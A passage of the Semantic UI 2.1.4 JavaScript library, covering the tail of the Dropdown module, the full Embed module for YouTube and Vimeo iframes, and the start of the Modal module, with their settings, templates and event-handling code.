: $menu.hasClass(className.visible) ; } }, can: { activate: function($item) { if(settings.useLabels) { return true; } if(!module.has.maxSelections()) { return true; } if(module.has.maxSelections() && $item.hasClass(className.active)) { return true; } return false; }, click: function() { return (hasTouch || settings.on == 'click'); }, extendSelect: function() { return settings.allowAdditions || settings.apiSettings; }, show: function() { return !module.is.disabled() && (module.has.items() || module.has.message()); }, useAPI: function() { return $.fn.api !== undefined; } }, animate: { show: function(callback, $subMenu) { var $currentMenu = $subMenu || $menu, start = ($subMenu) ? function() {} : function() { module.hideSubMenus(); module.hideOthers(); module.set.active(); }, transition ; callback = $.isFunction(callback) ? callback : function(){} ; module.verbose('Doing menu show animation', $currentMenu); module.set.direction($subMenu); transition = module.get.transition($subMenu); if( module.is.selection() ) { module.set.scrollPosition(module.get.selectedItem(), true); } if( module.is.hidden($currentMenu) || module.is.animating($currentMenu) ) { if(transition == 'none') { start(); $currentMenu.transition('show'); callback.call(element); } else if($.fn.transition !== undefined && $module.transition('is supported')) { $currentMenu .transition({ animation : transition + ' in', debug : settings.debug, verbose : settings.verbose, duration : settings.duration, queue : true, onStart : start, onComplete : function() { callback.call(element); } }) ; } else { module.error(error.noTransition, transition); } } }, hide: function(callback, $subMenu) { var $currentMenu = $subMenu || $menu, duration = ($subMenu) ? (settings.duration * 0.9) : settings.duration, start = ($subMenu) ? function() {} : function() { if( module.can.click() ) { module.unbind.intent(); } module.remove.active(); }, transition = module.get.transition($subMenu) ; callback = $.isFunction(callback) ? callback : function(){} ; if( module.is.visible($currentMenu) || module.is.animating($currentMenu) ) { module.verbose('Doing menu hide animation', $currentMenu); if(transition == 'none') { start(); $currentMenu.transition('hide'); callback.call(element); } else if($.fn.transition !== undefined && $module.transition('is supported')) { $currentMenu .transition({ animation : transition + ' out', duration : settings.duration, debug : settings.debug, verbose : settings.verbose, queue : true, onStart : start, onComplete : function() { if(settings.direction == 'auto') { module.remove.upward($subMenu); } callback.call(element); } }) ; } else { module.error(error.transition); } } } }, hideAndClear: function() { module.remove.searchTerm(); if( module.has.maxSelections() ) { return; } if(module.has.search()) { module.hide(function() { module.remove.filteredItem(); }); } else { module.hide(); } }, delay: { show: function() { module.verbose('Delaying show event to ensure user intent'); clearTimeout(module.timer); module.timer = setTimeout(module.show, settings.delay.show); }, hide: function() { module.verbose('Delaying hide event to ensure user intent'); clearTimeout(module.timer); module.timer = setTimeout(module.hide, settings.delay.hide); } }, escape: { regExp: function(text) { text = String(text); return text.replace(regExp.escape, '\\$&'); } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : $allModules ; }; $.fn.dropdown.settings = { debug : false, verbose : false, performance : true, on : 'click', // what event should show menu action on item selection action : 'activate', // action on item selection (nothing, activate, select, combo, hide, function(){}) apiSettings : false, saveRemoteData : true, // Whether remote name/value pairs should be stored in sessionStorage to allow remote data to be restored on page refresh throttle : 200, // How long to wait after last user input to search remotely context : window, // Context to use when determining if on screen direction : 'auto', // Whether dropdown should always open in one direction keepOnScreen : true, // Whether dropdown should check whether it is on screen before showing match : 'both', // what to match against with search selection (both, text, or label) fullTextSearch : false, // search anywhere in value placeholder : 'auto', // whether to convert blank <select> values to placeholder text preserveHTML : true, // preserve html when selecting value sortSelect : false, // sort selection on init forceSelection : true, // force a choice on blur with search selection allowAdditions : false, // whether multiple select should allow user added values maxSelections : false, // When set to a number limits the number of selections to this count useLabels : true, // whether multiple select should filter currently active selections from choices delimiter : ',', // when multiselect uses normal <input> the values will be delimited with this character showOnFocus : true, // show menu on focus allowTab : true, // add tabindex to element allowCategorySelection : false, // allow elements with sub-menus to be selected fireOnInit : false, // Whether callbacks should fire when initializing dropdown values transition : 'auto', // auto transition will slide down or up based on direction duration : 200, // duration of transition glyphWidth : 1.0714, // widest glyph width in em (W is 1.0714 em) used to calculate multiselect input width // label settings on multi-select label: { transition : 'scale', duration : 200, variation : false }, // delay before event delay : { hide : 300, show : 200, search : 20, touch : 50 }, /* Callbacks */ onChange : function(value, text, $selected){}, onAdd : function(value, text, $selected){}, onRemove : function(value, text, $selected){}, onLabelSelect : function($selectedLabels){}, onLabelCreate : function(value, text) { return $(this); }, onNoResults : function(searchTerm) { return true; }, onShow : function(){}, onHide : function(){}, /* Component */ name : 'Dropdown', namespace : 'dropdown', message: { addResult : 'Add <b>{term}</b>', count : '{count} selected', maxSelections : 'Max {maxCount} selections', noResults : 'No results found.', serverError : 'There was an error contacting the server' }, error : { action : 'You called a dropdown action that was not defined', alreadySetup : 'Once a select has been initialized behaviors must be called on the created ui dropdown', labels : 'Allowing user additions currently requires the use of labels.', missingMultiple : '<select> requires multiple property to be set to correctly preserve multiple values', method : 'The method you called is not defined.', noAPI : 'The API module is required to load resources remotely', noStorage : 'Saving remote data requires session storage', noTransition : 'This module requires ui transitions <https://github.com/Semantic-Org/UI-Transition>' }, regExp : { escape : /[-[\]{}()*+?.,\\^$|#\s]/g, }, metadata : { defaultText : 'defaultText', defaultValue : 'defaultValue', placeholderText : 'placeholder', text : 'text', value : 'value' }, // property names for remote query fields: { values : 'values', // grouping for all dropdown values name : 'name', // displayed dropdown text value : 'value' // actual dropdown value }, selector : { addition : '.addition', dropdown : '.ui.dropdown', icon : '> .dropdown.icon', input : '> input[type="hidden"], > select', item : '.item', label : '> .label', remove : '> .label > .delete.icon', siblingLabel : '.label', menu : '.menu', message : '.message', menuIcon : '.dropdown.icon', search : 'input.search, .menu > .search > input', text : '> .text:not(.icon)', unselectable : '.disabled, .filtered' }, className : { active : 'active', addition : 'addition', animating : 'animating', disabled : 'disabled', dropdown : 'ui dropdown', filtered : 'filtered', hidden : 'hidden transition', item : 'item', label : 'ui label', loading : 'loading', menu : 'menu', message : 'message', multiple : 'multiple', placeholder : 'default', search : 'search', selected : 'selected', selection : 'selection', upward : 'upward', visible : 'visible' } }; /* Templates */ $.fn.dropdown.settings.templates = { // generates dropdown from select values dropdown: function(select) { var placeholder = select.placeholder || false, values = select.values || {}, html = '' ; html += '<i class="dropdown icon"></i>'; if(select.placeholder) { html += '<div class="default text">' + placeholder + '</div>'; } else { html += '<div class="text"></div>'; } html += '<div class="menu">'; $.each(select.values, function(index, option) { html += (option.disabled) ? '<div class="disabled item" data-value="' + option.value + '">' + option.name + '</div>' : '<div class="item" data-value="' + option.value + '">' + option.name + '</div>' ; }); html += '</div>'; return html; }, // generates just menu from select menu: function(response, fields) { var values = response.values || {}, html = '' ; $.each(response[fields.values], function(index, option) { html += '<div class="item" data-value="' + option[fields.value] + '">' + option[fields.name] + '</div>'; }); return html; }, // generates label for multiselect label: function(value, text) { return text + '<i class="delete icon"></i>'; }, // generates messages like "No results" message: function(message) { return message; }, // generates user addition to selection menu addition: function(choice) { return choice; } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Video * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ($, window, document, undefined) { "use strict"; $.fn.embed = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.embed.settings, parameters) : $.extend({}, $.fn.embed.settings), selector = settings.selector, className = settings.className, sources = settings.sources, error = settings.error, metadata = settings.metadata, namespace = settings.namespace, templates = settings.templates, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $window = $(window), $module = $(this), $placeholder = $module.find(selector.placeholder), $icon = $module.find(selector.icon), $embed = $module.find(selector.embed), element = this, instance = $module.data(moduleNamespace), module ; module = { initialize: function() { module.debug('Initializing embed'); module.determine.autoplay(); module.create(); module.bind.events(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous instance of embed'); module.reset(); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, refresh: function() { module.verbose('Refreshing selector cache'); $placeholder = $module.find(selector.placeholder); $icon = $module.find(selector.icon); $embed = $module.find(selector.embed); }, bind: { events: function() { if( module.has.placeholder() ) { module.debug('Adding placeholder events'); $module .on('click' + eventNamespace, selector.placeholder, module.createAndShow) .on('click' + eventNamespace, selector.icon, module.createAndShow) ; } } }, create: function() { var placeholder = module.get.placeholder() ; if(placeholder) { module.createPlaceholder(); } else { module.createAndShow(); } }, createPlaceholder: function(placeholder) { var icon = module.get.icon(), url = module.get.url(), embed = module.generate.embed(url) ; placeholder = placeholder || module.get.placeholder(); $module.html( templates.placeholder(placeholder, icon) ); module.debug('Creating placeholder for embed', placeholder, icon); }, createEmbed: function(url) { module.refresh(); url = url || module.get.url(); $embed = $('<div/>') .addClass(className.embed) .html( module.generate.embed(url) ) .appendTo($module) ; settings.onCreate.call(element, url); module.debug('Creating embed object', $embed); }, createAndShow: function() { module.createEmbed(); module.show(); }, // sets new embed change: function(source, id, url) { module.debug('Changing video to ', source, id, url); $module .data(metadata.source, source) .data(metadata.id, id) .data(metadata.url, url) ; module.create(); }, // clears embed reset: function() { module.debug('Clearing embed and showing placeholder'); module.remove.active(); module.remove.embed(); module.showPlaceholder(); settings.onReset.call(element); }, // shows current embed show: function() { module.debug('Showing embed'); module.set.active(); settings.onDisplay.call(element); }, hide: function() { module.debug('Hiding embed'); module.showPlaceholder(); }, showPlaceholder: function() { module.debug('Showing placeholder image'); module.remove.active(); settings.onPlaceholderDisplay.call(element); }, get: { id: function() { return settings.id || $module.data(metadata.id); }, placeholder: function() { return settings.placeholder || $module.data(metadata.placeholder); }, icon: function() { return (settings.icon) ? settings.icon : ($module.data(metadata.icon) !== undefined) ? $module.data(metadata.icon) : module.determine.icon() ; }, source: function(url) { return (settings.source) ? settings.source : ($module.data(metadata.source) !== undefined) ? $module.data(metadata.source) : module.determine.source() ; }, type: function() { var source = module.get.source(); return (sources[source] !== undefined) ? sources[source].type : false ; }, url: function() { return (settings.url) ? settings.url : ($module.data(metadata.url) !== undefined) ? $module.data(metadata.url) : module.determine.url() ; } }, determine: { autoplay: function() { if(module.should.autoplay()) { settings.autoplay = true; } }, source: function(url) { var matchedSource = false ; url = url || module.get.url(); if(url) { $.each(sources, function(name, source) { if(url.search(source.domain) !== -1) { matchedSource = name; return false; } }); } return matchedSource; }, icon: function() { var source = module.get.source() ; return (sources[source] !== undefined) ? sources[source].icon : false ; }, url: function() { var id = settings.id || $module.data(metadata.id), source = settings.source || $module.data(metadata.source), url ; url = (sources[source] !== undefined) ? sources[source].url.replace('{id}', id) : false ; if(url) { $module.data(metadata.url, url); } return url; } }, set: { active: function() { $module.addClass(className.active); } }, remove: { active: function() { $module.removeClass(className.active); }, embed: function() { $embed.empty(); } }, encode: { parameters: function(parameters) { var urlString = [], index ; for (index in parameters) { urlString.push( encodeURIComponent(index) + '=' + encodeURIComponent( parameters[index] ) ); } return urlString.join('&amp;'); } }, generate: { embed: function(url) { module.debug('Generating embed html'); var source = module.get.source(), html, parameters ; url = module.get.url(url); if(url) { parameters = module.generate.parameters(source); html = templates.iframe(url, parameters); } else { module.error(error.noURL, $module); } return html; }, parameters: function(source, extraParameters) { var parameters = (sources[source] && sources[source].parameters !== undefined) ? sources[source].parameters(settings) : {} ; extraParameters = extraParameters || settings.parameters; if(extraParameters) { parameters = $.extend({}, parameters, extraParameters); } parameters = settings.onEmbed(parameters); return module.encode.parameters(parameters); } }, has: { placeholder: function() { return settings.placeholder || $module.data(metadata.placeholder); } }, should: { autoplay: function() { return (settings.autoplay === 'auto') ? (settings.placeholder || $module.data(metadata.placeholder) !== undefined) : settings.autoplay ; } }, is: { video: function() { return module.get.type() == 'video'; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.embed.settings = { name : 'Embed', namespace : 'embed', debug : false, verbose : false, performance : true, icon : false, source : false, url : false, id : false, // standard video settings autoplay : 'auto', color : '#444444', hd : true, brandedUI : false, // additional parameters to include with the embed parameters: false, onDisplay : function() {}, onPlaceholderDisplay : function() {}, onReset : function() {}, onCreate : function(url) {}, onEmbed : function(parameters) { return parameters; }, metadata : { id : 'id', icon : 'icon', placeholder : 'placeholder', source : 'source', url : 'url' }, error : { noURL : 'No URL specified', method : 'The method you called is not defined' }, className : { active : 'active', embed : 'embed' }, selector : { embed : '.embed', placeholder : '.placeholder', icon : '.icon' }, sources: { youtube: { name : 'youtube', type : 'video', icon : 'video play', domain : 'youtube.com', url : '//www.youtube.com/embed/{id}', parameters: function(settings) { return { autohide : !settings.brandedUI, autoplay : settings.autoplay, color : settings.colors || undefined, hq : settings.hd, jsapi : settings.api, modestbranding : !settings.brandedUI }; } }, vimeo: { name : 'vimeo', type : 'video', icon : 'video play', domain : 'vimeo.com', url : '//player.vimeo.com/video/{id}', parameters: function(settings) { return { api : settings.api, autoplay : settings.autoplay, byline : settings.brandedUI, color : settings.colors || undefined, portrait : settings.brandedUI, title : settings.brandedUI }; } } }, templates: { iframe : function(url, parameters) { return '' + '<iframe src="' + url + '?' + parameters + '"' + ' width="100%" height="100%"' + ' frameborder="0" scrolling="no" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>' ; }, placeholder : function(image, icon) { var html = '' ; if(icon) { html += '<i class="' + icon + ' icon"></i>'; } if(image) { html += '<img class="placeholder" src="' + image + '">'; } return html; } }, // NOT YET IMPLEMENTED api : true, onPause : function() {}, onPlay : function() {}, onStop : function() {} }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Modal * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.modal = function(parameters) { var $allModules = $(this), $window = $(window), $document = $(document), $body = $('body'), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.modal.settings, parameters) : $.extend({}, $.fn.modal.settings), selector = settings.selector, className = settings.className, namespace = settings.namespace, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $context = $(settings.context), $close = $module.find(selector.close), $allModals, $otherModals, $focusedElement, $dimmable, $dimmer, element = this, instance = $module.data(moduleNamespace), elementNamespace, id, observer, module ; module = { initialize: function() { module.verbose('Initializing dimmer', $context); module.create.id(); module.create.dimmer(); module.refreshModals(); module.bind.events(); if(settings.observeChanges) { module.observeChanges(); } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of modal'); instance = module; $module .data(moduleNamespace, instance) ; }, create: { dimmer: function() { var defaultSettings = { debug : settings.debug, dimmerName : 'modals', duration : { show : settings.duration, hide : settings.duration } }, dimmerSettings = $.extend(true, defaultSettings, settings.dimmerSettings) ; if(settings.inverted) { dimmerSettings.variation = (dimmerSettings.variation !== undefined) ? dimmerSettings.variation + ' inverted' : 'inverted' ; } if($.fn.dimmer === undefined) { module.error(error.dimmer); return; } module.debug('Creating dimmer with settings', dimmerSettings); $dimmable = $context.dimmer(dimmerSettings); if(settings.detachable) { module.verbose('Modal is detachable, moving content into dimmer'); $dimmable.dimmer('add content', $module); } else { module.set.undetached(); } if(settings.blurring) { $dimmable.addClass(className.blurring); } $dimmer = $dimmable.dimmer('get dimmer'); }, id: function() { id = (Math.random().toString(16) + '000000000').substr(2,8); elementNamespace = '.' + id; module.verbose('Creating unique id for element', id); } }, destroy: function() { module.verbose('Destroying previous modal'); $module .removeData(moduleNamespace) .off(eventNamespace) ; $window.off(elementNamespace); $close.off(eventNamespace); $context.dimmer('destroy'); }, observeChanges: function() { if('MutationObserver' in window) { observer = new MutationObserver(function(mutations) { module.debug('DOM tree modified, refreshing'); module.refresh(); }); observer.observe(element, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, refresh: function() { module.remove.scrolling(); module.cacheSizes(); module.set.screenHeight(); module.set.type(); module.set.position(); }, refreshModals: function() { $otherModals = $module.siblings(selector.modal); $allModals = $otherModals.add($module); }, attachEvents: function(selector, event) { var $toggle = $(selector) ; event = $.isFunction(module[event]) ? module[event] : module.toggle ; if($toggle.length > 0) { module.debug('Attaching modal events to element', selector, event); $toggle .off(eventNamespace) .on('click' + eventNamespace, event) ; } else { module.error(error.notFound, selector); } }, bind: { events: function() { module.verbose('Attaching events'); $module .on('click' + eventNamespace, selector.close, module.event.close) .on('click' + eventNamespace, selector.approve, module.event.approve) .on('click' + eventNamespace, selector.deny, module.event.deny) ; $window .on('resize' + elementNamespace, module.event.resize) ; } }, get: { id: function() { return (Math.random().toString(16) + '000000000').substr(2,8); } }, event: { approve: function() { if(settings.onApprove.call(element, $(this)) === false) { module.verbose('Approve callback returned false cancelling hide'); return; } module.hide(); }, deny: function() { if(settings.onDeny.call(element, $(this)) === false) { module.verbose('Deny callback returned false cancelling hide'); return; } module.hide(); }, close: function() { module.hide(); }, click: function(event) { var $target = $(event.target), isInModal = ($target.closest(selector.modal).length > 0), isInDOM = $.contains(document.documentElement, event.target) ; if(!isInModal && isInDOM) { module.debug('Dimmer clicked, hiding all modals'); if( module.is.active() ) { module.remove.clickaway(); if(settings.allowMultiple) { module.hide(); } else { module.hideAll(); } } } }, debounce: function(method, delay) { clearTimeout(module.timer); module.timer = setTimeout(method, delay); }, keyboard: function(event) { var keyCode = event.which, escapeKey = 27 ; if(keyCode == escapeKey) { if(settings.closable) { module.debug('Escape key pressed hiding modal'); module.hide(); } else { module.debug('Escape key pressed, but closable is set to false'); } event.preventDefault(); } }, resize: function() { if( $dimmable.dimmer('is active') ) { requestAnimationFrame(module.refresh); } } }, toggle: function() { if( module.is.active() || module.is.animating() ) { module.hide(); } else { module.show(); } }, show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; module.refreshModals(); module.showModal(callback); }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; module.refreshModals(); module.hideModal(callback); }, showModal: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if( module.is.animating() || !module.is.active() ) { module.showDimmer(); module.cacheSizes(); module.set.position(); module.set.screenHeight(); module.set.type(); module.set.clickaway(); if( !settings.allowMultiple && module.others.active() ) { module.hideOthers(module.showModal); } else { settings.onShow.call(element); if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { module.debug('Showing modal with css animations'); $module .transition({ debug : settings.debug, animation : settings.transition + ' in', queue : settings.queue, duration : settings.duration, useFailSafe : true, onComplete : function() { settings.onVisible.apply(element); module.add.keyboardShortcuts(); module.save.focus(); module.set.active(); if(settings.autofocus) { module.set.autofocus(); } callback(); } }) ; } else { module.error(error.noTransition); } } } else { module.debug('Modal is already visible'); } }, hideModal: function(callback, keepDimmed) { callback = $.isFunction(callback) ? callback : function(){} ; module.debug('Hiding modal'); settings.onHide.call(element); if( module.is.animating() || module.is.active() ) { if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { module.remove.active(); $module .transition({ debug : settings.debug, animation : settings.transition + ' out', queue : settings.queue, duration : settings.duration, useFailSafe : true, onStart : function() { if(!module.others.active() && !keepDimmed) { module.hideDimmer(); } module.remove.keyboardShortcuts(); }, onComplete : function() { settings.onHidden.call(element); module.restore.focus(); callback(); } }) ; } else { module.error(error.noTransition); } } }, showDimmer: function() { if($dimmable.dimmer('is animating') || !$dimmable.dimmer('is active') ) { module.debug('Showing dimmer'); $dimmable.dimmer('show'); } else { module.debug('Dimmer already visible'); } }, hideDimmer: function() { if( $dimmable.dimmer('is animating') || ($dimmable.dimmer('is active')) ) { $dimmable.dimmer('hide', function() { module.remove.clickaway(); module.remove.screenHeight(); }); } else { module.debug('Dimmer is not visible cannot hide'); return; } }, hideAll: function(callback) { var $visibleModals = $allModals.filter('.' + className.active + ', .' + className.animating) ; callback = $.isFunction(callback) ? callback : function(){} ; if( $visibleModals.length > 0 ) { module.debug('Hiding all visible modals'); module.hideDimmer(); $visibleModals .modal('hide modal', callback) ; } }, hideOthers: function(callback) { var $visibleModals = $otherModals.filter('.' + className.active + ', .' + className.animating) ; callback = $.isFunction(callback) ? callback : function(){} ; if( $visibleModals.length > 0 ) { module.debug('Hiding other modals', $otherModals); $visibleModals .modal('hide modal', callback, true) ; } }, others: { active: function() { return ($otherModals.filter('.' + className.active).length > 0); }, animating: function() { return ($otherModals.filter('.' + className.animating).length > 0); } }, add: { keyboardShortcuts: function() { module.verbose('Adding keyboard shortcuts'); $document .on('keyup' + eventNamespace, module.event.keyboard) ; } }, save: { focus: function() { $focusedElement = $(document.activeElement).blur(); } }, restore: { focus: function() { if($focusedElement && $focusedElement.length > 0) { $focusedElement.focus(); } } }, remove: { active: function() { $module.removeClass(className.active); }, clickaway: function() { if(settings.closable) { $dimmer .off('click' + elementNamespace) ; } }, bodyStyle: function() { if($body.attr('style') === '') { module.verbose('Removing style attribute'); $body.removeAttr('style'); } }, screenHeight: function() { module.debug('Removing page height'); $body .css('height', '') ; }, keyboardShortcuts: function() { module.verbose('Removing keyboard shortcuts'); $document .off('keyup' + eventNamespace) ; }, scrolling: function() { $dimmable.removeClass(className.scrolling); $module.removeClass(className.scrolling); } }, cacheSizes: function() { var modalHeight = $module.outerHeight() ; if(module.cache === undefined || modalHeight !== 0) { module.cache = { pageHeight : $(document).outerHeight(), height : modalHeight + settings.offset, contextHeight : (settings.context == 'body') ? $(window).height() : $dimmable.height() }; } module.debug('Caching modal and container sizes', module.cache); }, can: { fit: function() { return ( ( module.cache.height + (settings.padding * 2) ) < module.cache.contextHeight); } }, is: { active: function() { return $module.hasClass(className.active); }, animating: function() { return $module.transition('is supported') ? $module.transition('is animating') : $module.is(':visible') ; }, scrolling: function() { return $dimmable.hasClass(className.scrolling); }, modernBrowser: function() { // appName for IE11 reports 'Netscape' can no longer use return !(window.ActiveXObject || "ActiveXObject" in window); } }, set: { autofocus: function() { var $inputs = $module.find(':input').filter(':visible'), $autofocus = $inputs.filter('[autofocus]'), $input = ($autofocus.length > 0) ? $autofocus.first() : $inputs.first() ; if($input.length > 0) { $input.focus(); } }, clickaway: function() { if(settings.closable) { $dimmer .on('click' + elementNamespace, module.event.click) ; } }, screenHeight: function() { if( module.can.fit() ) { $body.css('height', ''); } else { module.debug('Modal is taller than page content, resizing page height'); $body .css('height', module.cache.height + (settings.padding * 2) ) ; } }, active: function() { $module.addClass(className.active); }, scrolling: function() { $dimmable.addClass(className.scrolling); $module.addClass(className.scrolling); }, type: function() { if(module.can.fit()) { module.verbose('Modal fits on screen'); if(!module.others.active() && !module.others.animating()) { module.remove.scrolling(); } } else { module.verbose('Modal cannot fit on screen setting to scrolling'); module.set.scrolling(); } }, position: function() { module.verbose('Centering modal on page', module.cache); if(module.can.fit()) { $module .css({ top: '', marginTop: -(module.cache.height / 2) }) ; } else { $module .css({ marginTop : '', top : $document.scrollTop() }) ; } }, undetached: function() { $dimmable.addClass(className.undetached); } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : 